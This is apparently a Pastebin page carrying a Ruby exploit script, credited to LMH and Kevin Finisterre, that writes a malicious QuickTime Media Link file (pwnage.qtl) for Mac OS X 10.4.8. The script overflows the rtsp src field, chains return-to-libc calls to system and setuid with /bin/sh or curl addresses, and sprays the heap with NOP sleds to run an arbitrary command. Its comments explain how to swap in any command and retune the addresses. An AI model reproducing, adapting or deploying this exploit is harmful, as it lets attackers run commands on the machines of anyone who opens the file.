Advertisement
FlyFar

Constructor.Ruby.Qtp.a - Source Code

Jun 12th, 2023
680
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.62 KB | Cybersecurity | 0 0
  1.  
  2. #!/usr/bin/ruby
  3. # Copyright (c) LMH <lmh [at] info-pull.com>
  4. #               Kevin Finisterre <kf_lists [at] digitalmunition.com>
  5. #
  6. # Notes:
  7. # Our command string is loaded on memory at a static address normally,
  8. # but this depends on execution method and the string length. The address set in this exploit will
  9. # be likely successful if we open the resulting QTL file directly, without having an
  10. # instance of Quicktime running. Although, when using another method and string, you'll need
  11. # to find the address.
  12. # For 100% reliable exploitation you can always use the /bin/sh address,
  13. # but that's not as a cool as having your box welcoming the new year.
  14. # Do whatever you prefer. That said, enjoy.
  15. #
  16. # see http://projects.info-pull.com/moab/MOAB-01-01-2007.html
  17.  
  18. # Command string: Use whatever you like.
  19. # Remember that changing this will also need a change of the target address for system(),
  20. # unless string length is the same.
  21. CMD_STRING  = "/usr/bin/say Happy new year shit bag"
  22.  
  23. # Mac OS X 10.4.8 (8L2127)
  24. EBP_ADDR    = 0xdeadbabe
  25. SYSTEM_ADDR = 0x90046c30 # NX Wars: The Libc Strikes Back
  26. SETUID_ADDR = 0x900334f0
  27. CURL_ADDR   = 0x916c24bc # /usr/bin/curl
  28. SHELL_ADDR  = 0x918bef3a # /bin/sh
  29. CMDSTR_ADDR = [
  30.                 SHELL_ADDR, # 0 addr to static /bin/sh     (lame)
  31.                 0x017a053c, # 1 addr to our command string (cool) :> (change as necessary)
  32.                 0xbabeface, # 2 bogus addr for testing.
  33.                 CURL_ADDR   # 3 addr to '/usr/bin/curl'
  34.               ]
  35.  
  36. # Payload. default to CMDSTR_ADDR 0 (/bin/sh)
  37. HAPPY = ("A" * 299) +
  38.         [EBP_ADDR].pack("V")    +
  39.         [SYSTEM_ADDR].pack("V") +
  40.         [SETUID_ADDR].pack("V") +
  41.         [CMDSTR_ADDR[0]].pack("V")  # change array index for using diff. addr (see CMDSTR_ADDR)
  42.  
  43. # Sleds: not necessary if using /bin/bash addr or other built-in addresses.
  44. # although, for using our own fu, we need to spray some data for better reliability
  45. # the goal is causing allocation of large heap chunks
  46. NEW   = ("\x90" * 30000) + CMD_STRING   # feed the heap
  47. YEAR  = ("\x90" * 30000) + CMD_STRING   # go johnny, go
  48. APPLE = ("\x90" * 30000) + "EOOM"       # feed the heap more
  49. BOYZ  = ("\x90" * 30000) + "FOOM"       # and more
  50.  
  51. # QTL output template
  52. QTL_CONTENT = "<?xml version=\"1.0\"?>" +
  53.               "<?quicktime type=\"application/x-quicktime-media-link\"?>" +
  54.               "<embed autoplay=\"true\" moviename=\"#{NEW}\" " +
  55.               "qtnext=\"#{YEAR}\" type=\"video/quicktime#{APPLE}\" " +
  56.               "src=\"rtsp://#{BOYZ}:#{HAPPY}\" />\n"
  57.  
  58. target_file = File.open("pwnage.qtl", "w+") { |f|
  59.   f.print(QTL_CONTENT)
  60.   f.close
  61. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement